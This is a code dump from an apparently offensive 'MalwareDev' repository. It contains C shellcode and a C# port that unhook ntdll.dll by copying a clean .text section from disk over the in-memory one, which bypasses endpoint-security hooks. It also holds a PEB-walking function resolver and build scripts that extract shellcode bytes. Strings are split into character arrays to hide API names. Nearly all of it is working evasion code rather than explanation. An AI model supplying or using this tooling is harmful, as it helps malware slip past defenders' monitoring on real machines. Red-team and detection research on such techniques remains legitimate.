48 | LPVOID pKernelbase = _LoadLibraryA(kernel_base_dll);
49 | BOOL(WINAPI * _GetModuleInformation)(HANDLE hProcess,HMODULE hModule,LPMODULEINFO lpmodinfo,DWORD cb) = (BOOL(WINAPI*)(HANDLE,HMODULE,LPMODULEINFO,DWORD)) _GetProcAddress((HMODULE)pKernelbase,get_mod_information);
50 | HANDLE(WINAPI * _CreateFileA)(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile) = (HANDLE(WINAPI*)(LPCSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE)) _GetProcAddress((HMODULE)pKernel32,create_file);
51 | HANDLE(WINAPI * _CreateFileMappingA)(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCSTR lpName) = (HANDLE(WINAPI*)(HANDLE,LPSECURITY_ATTRIBUTES,DWORD,DWORD,DWORD,LPCSTR)) _GetProcAddress((HMODULE)pKernel32,create_mapping);
52 | LPVOID(WINAPI * _MapViewOfFile)(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,SIZE_T dwNumberOfBytesToMap) = (LPVOID(WINAPI*)(HANDLE,DWORD,DWORD,DWORD,SIZE_T)) _GetProcAddress((HMODULE)pKernel32,map_view);
53 | BOOL(WINAPI * _VirtualProtect)(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) = (BOOL(WINAPI*)(LPVOID,SIZE_T,DWORD,PDWORD)) _GetProcAddress((HMODULE)pKernel32,virtual_protect);
54 | BOOL(WINAPI* _CloseHandle)(HANDLE hObject) = (BOOL(WINAPI*)(HANDLE)) _GetProcAddress((HMODULE)pKernel32,close_handle);
55 | BOOL(WINAPI* _FreeLibrary)(HMODULE hLibModule) = (BOOL(WINAPI*)(HMODULE)) _GetProcAddress((HMODULE)pKernel32,free_lib);
56 | LPVOID pMsvcrt = _LoadLibraryA(msvcrt_dll);
57 | int(WINAPI * _strcmp)(const char* string1,const char* string2) = (int(WINAPI*)(const char*,const char*)) _GetProcAddress((HMODULE)pMsvcrt,strcmp_str);
58 | void*(WINAPI * _memcpy)(void* dest,const void* src,size_t count) = (void*(WINAPI*)(void*,const void*,size_t)) _GetProcAddress((HMODULE)pMsvcrt,memcpy_str);
59 | int(WINAPI * _printf)(const char* format, ...) = (int(WINAPI*)(const char*,...)) _GetProcAddress((HMODULE)pMsvcrt,printf_str);
60 | if (!_printf)
61 | {
62 | return 17;
63 | }
64 | HANDLE process = _GetCurrentProcess();
65 | char format1[] = {'o','u','t','p','u','t',':',' ','%','p','\n',0};
66 | _printf(format1,process);
67 | MODULEINFO mi = {};
68 | char ntdll_str[] = {'n','t','d','l','l','.','d','l','l',0};
69 | HMODULE ntdllModule = _GetModuleHandleA(ntdll_str);
70 | _printf(format1,ntdllModule);
71 | char file_str[] = {'c',':','\\','w','i','n','d','o','w','s','\\','s','y','s','t','e','m','3','2','\\','n','t','d','l','l','.','d','l','l',0};
72 |
73 | _GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
74 | LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
75 | _printf(format1,ntdllBase);
76 | HANDLE ntdllFile = _CreateFileA(file_str, 0x80000000, 0x00000001, NULL, 3, 0, NULL);
77 | _printf(format1,ntdllFile);
78 |
79 | HANDLE ntdllMapping = _CreateFileMappingA(ntdllFile, NULL, 0x02 | 0x1000000, 0, 0, NULL);
80 | _printf(format1,ntdllMapping);
81 | LPVOID ntdllMappingAddress = _MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
82 | _printf(format1,ntdllMappingAddress);
83 | PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
84 | PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
85 | char text_str[] = {'.','t','e','x','t',0};
86 |
87 | for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
88 | PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
89 |
90 | if (!_strcmp((char*)hookedSectionHeader->Name, (char*)text_str)) {
91 | _printf(format1,hookedSectionHeader->Name);
92 | DWORD oldProtection = 0;
93 | bool isProtected = _VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
94 | _memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
95 | isProtected = _VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
96 | }
97 | }
98 |
99 | _CloseHandle(process);
100 | _CloseHandle(ntdllFile);
101 | _CloseHandle(ntdllMapping);
102 | _FreeLibrary(ntdllModule);
103 |
104 | return 0;
105 | }
--------------------------------------------------------------------------------
/UnhookShellcode/dll-unook.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/UnhookShellcode/dll-unook.o
--------------------------------------------------------------------------------
/UnhookShellcode/linker.ld:
--------------------------------------------------------------------------------
1 | /* Linker script gotten from original project found here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/*/
2 |
3 | ENTRY(alignstack)
4 | SECTIONS
5 | {
6 | .text:
7 | {
8 | *(.text.alignstack)
9 | *(.text.stager)
10 | }
11 | }
12 |
13 |
--------------------------------------------------------------------------------
/UnhookShellcode/opcodes.sh:
--------------------------------------------------------------------------------
1 | for i in $(objdump -d stager.exe | grep "^ " | cut -f 2); do echo -n "0x"$i","; done > stager.bin
2 |
--------------------------------------------------------------------------------
/UnhookShellcode/peb-lookup.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include
4 | #include
5 | #ifndef __NTDLL_H__
6 |
7 | #ifndef TO_LOWERCASE
8 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
9 | #endif
10 |
11 | // peb-lookup.h was pulled from the ired.team article about this technique located here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough
12 |
13 | typedef struct _UNICODE_STRING
14 | {
15 | USHORT Length;
16 | USHORT MaximumLength;
17 | PWSTR Buffer;
18 |
19 | } UNICODE_STRING, * PUNICODE_STRING;
20 |
21 | typedef struct _PEB_LDR_DATA
22 | {
23 | ULONG Length;
24 | BOOLEAN Initialized;
25 | HANDLE SsHandle;
26 | LIST_ENTRY InLoadOrderModuleList;
27 | LIST_ENTRY InMemoryOrderModuleList;
28 | LIST_ENTRY InInitializationOrderModuleList;
29 | PVOID EntryInProgress;
30 |
31 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
32 |
33 | //here we don't want to use any functions imported form extenal modules
34 |
35 | typedef struct _LDR_DATA_TABLE_ENTRY {
36 | LIST_ENTRY InLoadOrderModuleList;
37 | LIST_ENTRY InMemoryOrderModuleList;
38 | LIST_ENTRY InInitializationOrderModuleList;
39 | void* BaseAddress;
40 | void* EntryPoint;
41 | ULONG SizeOfImage;
42 | UNICODE_STRING FullDllName;
43 | UNICODE_STRING BaseDllName;
44 | ULONG Flags;
45 | SHORT LoadCount;
46 | SHORT TlsIndex;
47 | HANDLE SectionHandle;
48 | ULONG CheckSum;
49 | ULONG TimeDateStamp;
50 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
51 |
52 |
53 | typedef struct _PEB
54 | {
55 | BOOLEAN InheritedAddressSpace;
56 | BOOLEAN ReadImageFileExecOptions;
57 | BOOLEAN BeingDebugged;
58 | BOOLEAN SpareBool;
59 | HANDLE Mutant;
60 |
61 | PVOID ImageBaseAddress;
62 | PPEB_LDR_DATA Ldr;
63 |
64 | // [...] this is a fragment, more elements follow here
65 |
66 | } PEB, * PPEB;
67 |
68 | #endif //__NTDLL_H__
69 |
70 | inline LPVOID get_module_by_name(WCHAR* module_name)
71 | {
72 | PPEB peb = NULL;
73 | #if defined(_WIN64)
74 | peb = (PPEB)__readgsqword(0x60);
75 | #else
76 | peb = (PPEB)__readfsdword(0x30);
77 | #endif
78 | PPEB_LDR_DATA ldr = peb->Ldr;
79 | LIST_ENTRY list = ldr->InLoadOrderModuleList;
80 |
81 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
82 | PLDR_DATA_TABLE_ENTRY curr_module = Flink;
83 |
84 | while (curr_module != NULL && curr_module->BaseAddress != NULL) {
85 | if (curr_module->BaseDllName.Buffer == NULL) continue;
86 | WCHAR* curr_name = curr_module->BaseDllName.Buffer;
87 |
88 | size_t i = 0;
89 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
90 | WCHAR c1, c2;
91 | TO_LOWERCASE(c1, module_name[i]);
92 | TO_LOWERCASE(c2, curr_name[i]);
93 | if (c1 != c2) break;
94 | }
95 | if (module_name[i] == 0 && curr_name[i] == 0) {
96 | //found
97 | return curr_module->BaseAddress;
98 | }
99 | // not found, try next:
100 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
101 | }
102 | return NULL;
103 | }
104 |
105 | inline LPVOID get_func_by_name(LPVOID module, char* func_name)
106 | {
107 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
108 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
109 | return NULL;
110 | }
111 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
112 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
113 | if (exportsDir->VirtualAddress == NULL) {
114 | return NULL;
115 | }
116 |
117 | DWORD expAddr = exportsDir->VirtualAddress;
118 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
119 | SIZE_T namesCount = exp->NumberOfNames;
120 |
121 | DWORD funcsListRVA = exp->AddressOfFunctions;
122 | DWORD funcNamesListRVA = exp->AddressOfNames;
123 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
124 |
125 | //go through names:
126 | for (SIZE_T i = 0; i < namesCount; i++) {
127 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
128 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
129 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
130 |
131 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
132 | size_t k = 0;
133 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
134 | if (func_name[k] != curr_name[k]) break;
135 | }
136 | if (func_name[k] == 0 && curr_name[k] == 0) {
137 | //found
138 | return (BYTE*)module + (*funcRVA);
139 | }
140 | }
141 | return NULL;
142 | }
143 |
--------------------------------------------------------------------------------
/manual-map-csharp.cs:
--------------------------------------------------------------------------------
1 | /*
2 | This is a simple C# port of the code found at
3 | https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
4 | */
5 | using System;
6 | using System.Text;
7 | using System.Diagnostics;
8 | using System.Runtime.InteropServices;
9 | using System.Management;
10 |
11 | namespace DllUnhook
12 | {
13 | class DllUnhook
14 | {
15 | public const short FILE_ATTRIBUTE_NORMAL = 0x80;
16 | public const short INVALID_HANDLE_VALUE = -1;
17 | public const uint GENERIC_READ = 0x80000000;
18 | public const uint GENERIC_WRITE = 0x40000000;
19 | public const uint CREATE_NEW = 1;
20 | public const uint CREATE_ALWAYS = 2;
21 | public const uint OPEN_EXISTING = 3;
22 | public const uint FILE_SHARE_READ = 0x00000001;
23 |
24 | public enum SubSystemType : ushort
25 | {
26 | IMAGE_SUBSYSTEM_UNKNOWN = 0,
27 | IMAGE_SUBSYSTEM_NATIVE = 1,
28 | IMAGE_SUBSYSTEM_WINDOWS_GUI = 2,
29 | IMAGE_SUBSYSTEM_WINDOWS_CUI = 3,
30 | IMAGE_SUBSYSTEM_POSIX_CUI = 7,
31 | IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9,
32 | IMAGE_SUBSYSTEM_EFI_APPLICATION = 10,
33 | IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11,
34 | IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12,
35 | IMAGE_SUBSYSTEM_EFI_ROM = 13,
36 | IMAGE_SUBSYSTEM_XBOX = 14
37 |
38 | }
39 | public enum DllCharacteristicsType : ushort
40 | {
41 | RES_0 = 0x0001,
42 | RES_1 = 0x0002,
43 | RES_2 = 0x0004,
44 | RES_3 = 0x0008,
45 | IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040,
46 | IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080,
47 | IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100,
48 | IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200,
49 | IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400,
50 | IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800,
51 | RES_4 = 0x1000,
52 | IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000,
53 | IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000
54 | }
55 | public enum MagicType : ushort
56 | {
57 | IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
58 | IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
59 | }
60 | [Flags]
61 | public enum FileMapAccess : uint
62 | {
63 | FileMapCopy = 0x0001,
64 | FileMapWrite = 0x0002,
65 | FileMapRead = 0x0004,
66 | FileMapAllAccess = 0x001f,
67 | FileMapExecute = 0x0020,
68 | }
69 | [Flags]
70 | public enum FileMapProtection : uint
71 | {
72 | PageReadonly = 0x02,
73 | PageReadWrite = 0x04,
74 | PageWriteCopy = 0x08,
75 | PageExecuteRead = 0x20,
76 | PageExecuteReadWrite = 0x40,
77 | SectionCommit = 0x8000000,
78 | SectionImage = 0x1000000,
79 | SectionNoCache = 0x10000000,
80 | SectionReserve = 0x4000000,
81 | }
82 | [StructLayout(LayoutKind.Sequential)]
83 | public struct IMAGE_DATA_DIRECTORY
84 | {
85 | public UInt32 VirtualAddress;
86 | public UInt32 Size;
87 | }
88 | [StructLayout(LayoutKind.Explicit)]
89 | public struct IMAGE_OPTIONAL_HEADER64
90 | {
91 | [FieldOffset(0)]
92 | public MagicType Magic;
93 |
94 | [FieldOffset(2)]
95 | public byte MajorLinkerVersion;
96 |
97 | [FieldOffset(3)]
98 | public byte MinorLinkerVersion;
99 |
100 | [FieldOffset(4)]
101 | public uint SizeOfCode;
102 |
103 | [FieldOffset(8)]
104 | public uint SizeOfInitializedData;
105 |
106 | [FieldOffset(12)]
107 | public uint SizeOfUninitializedData;
108 |
109 | [FieldOffset(16)]
110 | public uint AddressOfEntryPoint;
111 |
112 | [FieldOffset(20)]
113 | public uint BaseOfCode;
114 |
115 | [FieldOffset(24)]
116 | public ulong ImageBase;
117 |
118 | [FieldOffset(32)]
119 | public uint SectionAlignment;
120 |
121 | [FieldOffset(36)]
122 | public uint FileAlignment;
123 |
124 | [FieldOffset(40)]
125 | public ushort MajorOperatingSystemVersion;
126 |
127 | [FieldOffset(42)]
128 | public ushort MinorOperatingSystemVersion;
129 |
130 | [FieldOffset(44)]
131 | public ushort MajorImageVersion;
132 |
133 | [FieldOffset(46)]
134 | public ushort MinorImageVersion;
135 |
136 | [FieldOffset(48)]
137 | public ushort MajorSubsystemVersion;
138 |
139 | [FieldOffset(50)]
140 | public ushort MinorSubsystemVersion;
141 |
142 | [FieldOffset(52)]
143 | public uint Win32VersionValue;
144 |
145 | [FieldOffset(56)]
146 | public uint SizeOfImage;
147 |
148 | [FieldOffset(60)]
149 | public uint SizeOfHeaders;
150 |
151 | [FieldOffset(64)]
152 | public uint CheckSum;
153 |
154 | [FieldOffset(68)]
155 | public SubSystemType Subsystem;
156 |
157 | [FieldOffset(70)]
158 | public DllCharacteristicsType DllCharacteristics;
159 |
160 | [FieldOffset(72)]
161 | public ulong SizeOfStackReserve;
162 |
163 | [FieldOffset(80)]
164 | public ulong SizeOfStackCommit;
165 |
166 | [FieldOffset(88)]
167 | public ulong SizeOfHeapReserve;
168 |
169 | [FieldOffset(96)]
170 | public ulong SizeOfHeapCommit;
171 |
172 | [FieldOffset(104)]
173 | public uint LoaderFlags;
174 |
175 | [FieldOffset(108)]
176 | public uint NumberOfRvaAndSizes;
177 |
178 | [FieldOffset(112)]
179 | public IMAGE_DATA_DIRECTORY ExportTable;
180 |
181 | [FieldOffset(120)]
182 | public IMAGE_DATA_DIRECTORY ImportTable;
183 |
184 | [FieldOffset(128)]
185 | public IMAGE_DATA_DIRECTORY ResourceTable;
186 |
187 | [FieldOffset(136)]
188 | public IMAGE_DATA_DIRECTORY ExceptionTable;
189 |
190 | [FieldOffset(144)]
191 | public IMAGE_DATA_DIRECTORY CertificateTable;
192 |
193 | [FieldOffset(152)]
194 | public IMAGE_DATA_DIRECTORY BaseRelocationTable;
195 |
196 | [FieldOffset(160)]
197 | public IMAGE_DATA_DIRECTORY Debug;
198 |
199 | [FieldOffset(168)]
200 | public IMAGE_DATA_DIRECTORY Architecture;
201 |
202 | [FieldOffset(176)]
203 | public IMAGE_DATA_DIRECTORY GlobalPtr;
204 |
205 | [FieldOffset(184)]
206 | public IMAGE_DATA_DIRECTORY TLSTable;
207 |
208 | [FieldOffset(192)]
209 | public IMAGE_DATA_DIRECTORY LoadConfigTable;
210 |
211 | [FieldOffset(200)]
212 | public IMAGE_DATA_DIRECTORY BoundImport;
213 |
214 | [FieldOffset(208)]
215 | public IMAGE_DATA_DIRECTORY IAT;
216 |
217 | [FieldOffset(216)]
218 | public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
219 |
220 | [FieldOffset(224)]
221 | public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
222 |
223 | [FieldOffset(232)]
224 | public IMAGE_DATA_DIRECTORY Reserved;
225 | }
226 | [StructLayout(LayoutKind.Explicit, Size = 20)]
227 | public struct IMAGE_FILE_HEADER {
228 | [FieldOffset(0)]
229 | public UInt16 Machine;
230 | [FieldOffset(2)]
231 | public UInt16 NumberOfSections;
232 | [FieldOffset(4)]
233 | public UInt32 TimeDateStamp;
234 | [FieldOffset(8)]
235 | public UInt32 PointerToSymbolTable;
236 | [FieldOffset(12)]
237 | public UInt32 NumberOfSymbols;
238 | [FieldOffset(16)]
239 | public UInt16 SizeOfOptionalHeader;
240 | [FieldOffset(18)]
241 | public UInt16 Characteristics;
242 | }
243 | [StructLayout(LayoutKind.Sequential)]
244 | public struct IMAGE_DOS_HEADER
245 | {
246 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
247 | public char[] e_magic; // Magic number
248 | public UInt16 e_cblp; // Bytes on last page of file
249 | public UInt16 e_cp; // Pages in file
250 | public UInt16 e_crlc; // Relocations
251 | public UInt16 e_cparhdr; // Size of header in paragraphs
252 | public UInt16 e_minalloc; // Minimum extra paragraphs needed
253 | public UInt16 e_maxalloc; // Maximum extra paragraphs needed
254 | public UInt16 e_ss; // Initial (relative) SS value
255 | public UInt16 e_sp; // Initial SP value
256 | public UInt16 e_csum; // Checksum
257 | public UInt16 e_ip; // Initial IP value
258 | public UInt16 e_cs; // Initial (relative) CS value
259 | public UInt16 e_lfarlc; // File address of relocation table
260 | public UInt16 e_ovno; // Overlay number
261 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
262 | public UInt16[] e_res1; // Reserved words
263 | public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
264 | public UInt16 e_oeminfo; // OEM information; e_oemid specific
265 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
266 | public UInt16[] e_res2; // Reserved words
267 | public Int32 e_lfanew; // File address of new exe header
268 |
269 | private string _e_magic
270 | {
271 | get { return new string(e_magic); }
272 | }
273 |
274 | public bool isValid
275 | {
276 | get { return _e_magic == "MZ"; }
277 | }
278 | }
279 | [StructLayout(LayoutKind.Explicit)]
280 | public struct IMAGE_NT_HEADERS64
281 | {
282 | [FieldOffset(0)]
283 | public int Signature;
284 |
285 | [FieldOffset(4)]
286 | public IMAGE_FILE_HEADER FileHeader;
287 |
288 | [FieldOffset(24)]
289 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
290 | }
291 | [StructLayout(LayoutKind.Sequential)]
292 | public struct MODULEINFO
293 | {
294 | public IntPtr lpBaseOfDll;
295 | public uint SizeOfImage;
296 | public IntPtr EntryPoint;
297 | }
298 | [StructLayout(LayoutKind.Explicit)]
299 | public struct IMAGE_SECTION_HEADER
300 | {
301 | [FieldOffset(0)]
302 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
303 | public char[] Name;
304 |
305 | [FieldOffset(8)]
306 | public UInt32 VirtualSize;
307 |
308 | [FieldOffset(12)]
309 | public UInt32 VirtualAddress;
310 |
311 | [FieldOffset(16)]
312 | public UInt32 SizeOfRawData;
313 |
314 | [FieldOffset(20)]
315 | public UInt32 PointerToRawData;
316 |
317 | [FieldOffset(24)]
318 | public UInt32 PointerToRelocations;
319 |
320 | [FieldOffset(28)]
321 | public UInt32 PointerToLinenumbers;
322 |
323 | [FieldOffset(32)]
324 | public UInt16 NumberOfRelocations;
325 |
326 | [FieldOffset(34)]
327 | public UInt16 NumberOfLinenumbers;
328 |
329 | [FieldOffset(36)]
330 | public DataSectionFlags Characteristics;
331 |
332 | public string Section
333 | {
334 | get { return new string(Name); }
335 | }
336 | }
337 | [Flags]
338 | public enum DataSectionFlags : uint
339 | {
340 | ///
341 | /// Reserved for future use.
342 | ///
343 | TypeReg = 0x00000000,
344 | ///
345 | /// Reserved for future use.
346 | ///
347 | TypeDsect = 0x00000001,
348 | ///
349 | /// Reserved for future use.
350 | ///
351 | TypeNoLoad = 0x00000002,
352 | ///
353 | /// Reserved for future use.
354 | ///
355 | TypeGroup = 0x00000004,
356 | ///
357 | /// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
358 | ///
359 | TypeNoPadded = 0x00000008,
360 | ///
361 | /// Reserved for future use.
362 | ///
363 | TypeCopy = 0x00000010,
364 | ///
365 | /// The section contains executable code.
366 | ///
367 | ContentCode = 0x00000020,
368 | ///
369 | /// The section contains initialized data.
370 | ///
371 | ContentInitializedData = 0x00000040,
372 | ///
373 | /// The section contains uninitialized data.
374 | ///
375 | ContentUninitializedData = 0x00000080,
376 | ///
377 | /// Reserved for future use.
378 | ///
379 | LinkOther = 0x00000100,
380 | ///
381 | /// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
382 | ///
383 | LinkInfo = 0x00000200,
384 | ///
385 | /// Reserved for future use.
386 | ///
387 | TypeOver = 0x00000400,
388 | ///
389 | /// The section will not become part of the image. This is valid only for object files.
390 | ///
391 | LinkRemove = 0x00000800,
392 | ///
393 | /// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
394 | ///
395 | LinkComDat = 0x00001000,
396 | ///
397 | /// Reset speculative exceptions handling bits in the TLB entries for this section.
398 | ///
399 | NoDeferSpecExceptions = 0x00004000,
400 | ///
401 | /// The section contains data referenced through the global pointer (GP).
402 | ///
403 | RelativeGP = 0x00008000,
404 | ///
405 | /// Reserved for future use.
406 | ///
407 | MemPurgeable = 0x00020000,
408 | ///
409 | /// Reserved for future use.
410 | ///
411 | Memory16Bit = 0x00020000,
412 | ///
413 | /// Reserved for future use.
414 | ///
415 | MemoryLocked = 0x00040000,
416 | ///
417 | /// Reserved for future use.
418 | ///
419 | MemoryPreload = 0x00080000,
420 | ///
421 | /// Align data on a 1-byte boundary. Valid only for object files.
422 | ///
423 | Align1Bytes = 0x00100000,
424 | ///
425 | /// Align data on a 2-byte boundary. Valid only for object files.
426 | ///
427 | Align2Bytes = 0x00200000,
428 | ///
429 | /// Align data on a 4-byte boundary. Valid only for object files.
430 | ///
431 | Align4Bytes = 0x00300000,
432 | ///
433 | /// Align data on an 8-byte boundary. Valid only for object files.
434 | ///
435 | Align8Bytes = 0x00400000,
436 | ///
437 | /// Align data on a 16-byte boundary. Valid only for object files.
438 | ///
439 | Align16Bytes = 0x00500000,
440 | ///
441 | /// Align data on a 32-byte boundary. Valid only for object files.
442 | ///
443 | Align32Bytes = 0x00600000,
444 | ///
445 | /// Align data on a 64-byte boundary. Valid only for object files.
446 | ///
447 | Align64Bytes = 0x00700000,
448 | ///
449 | /// Align data on a 128-byte boundary. Valid only for object files.
450 | ///
451 | Align128Bytes = 0x00800000,
452 | ///
453 | /// Align data on a 256-byte boundary. Valid only for object files.
454 | ///
455 | Align256Bytes = 0x00900000,
456 | ///
457 | /// Align data on a 512-byte boundary. Valid only for object files.
458 | ///
459 | Align512Bytes = 0x00A00000,
460 | ///
461 | /// Align data on a 1024-byte boundary. Valid only for object files.
462 | ///
463 | Align1024Bytes = 0x00B00000,
464 | ///
465 | /// Align data on a 2048-byte boundary. Valid only for object files.
466 | ///
467 | Align2048Bytes = 0x00C00000,
468 | ///
469 | /// Align data on a 4096-byte boundary. Valid only for object files.
470 | ///
471 | Align4096Bytes = 0x00D00000,
472 | ///
473 | /// Align data on an 8192-byte boundary. Valid only for object files.
474 | ///
475 | Align8192Bytes = 0x00E00000,
476 | ///
477 | /// The section contains extended relocations.
478 | ///
479 | LinkExtendedRelocationOverflow = 0x01000000,
480 | ///
481 | /// The section can be discarded as needed.
482 | ///
483 | MemoryDiscardable = 0x02000000,
484 | ///
485 | /// The section cannot be cached.
486 | ///
487 | MemoryNotCached = 0x04000000,
488 | ///
489 | /// The section is not pageable.
490 | ///
491 | MemoryNotPaged = 0x08000000,
492 | ///
493 | /// The section can be shared in memory.
494 | ///
495 | MemoryShared = 0x10000000,
496 | ///
497 | /// The section can be executed as code.
498 | ///
499 | MemoryExecute = 0x20000000,
500 | ///
501 | /// The section can be read.
502 | ///
503 | MemoryRead = 0x40000000,
504 | ///
505 | /// The section can be written to.
506 | ///
507 | MemoryWrite = 0x80000000
508 | }
509 |
510 | [DllImport("psapi.dll", SetLastError=true)]
511 | static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);
512 | [DllImport("kernel32.dll", SetLastError=true)]
513 | static extern IntPtr CreateFileA(string lpFileName, uint dwDesiredAccess,uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,uint dwFlagsAndAttributes, IntPtr hTemplateFile);
514 | [DllImport("kernel32.dll")]
515 | static extern IntPtr GetCurrentProcess();
516 | [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
517 | public static extern IntPtr GetModuleHandle(string lpModuleName);
518 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
519 | public static extern IntPtr CreateFileMapping(IntPtr hFile,IntPtr lpFileMappingAttributes,FileMapProtection flProtect,uint dwMaximumSizeHigh,uint dwMaximumSizeLow,[MarshalAs(UnmanagedType.LPStr)] string lpName);
520 | [DllImport("kernel32.dll")]
521 | static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject,FileMapAccess dwDesiredAccess,UInt32 dwFileOffsetHigh,UInt32 dwFileOffsetLow,IntPtr dwNumberOfBytesToMap);
522 | [DllImport("kernel32.dll")]
523 | static extern int VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
524 | [DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
525 | public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UInt32 count);
526 | [DllImport("kernel32.dll", SetLastError=true)]
527 | static extern bool CloseHandle(IntPtr hObject);
528 | [DllImport("kernel32.dll", SetLastError=true)]
529 | [return: MarshalAs(UnmanagedType.Bool)]
530 | static extern bool FreeLibrary(IntPtr hModule);
531 |
532 | static void Main()
533 | {
534 | IntPtr curProc = GetCurrentProcess();
535 | MODULEINFO modInfo;
536 | IntPtr handle = GetModuleHandle("ntdll.dll");
537 | GetModuleInformation(curProc,handle,out modInfo,0x18);
538 | IntPtr dllBase = modInfo.lpBaseOfDll;
539 | string fileName = "C:\\Windows\\System32\\ntdll.dll";
540 | IntPtr file = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING,0,IntPtr.Zero);
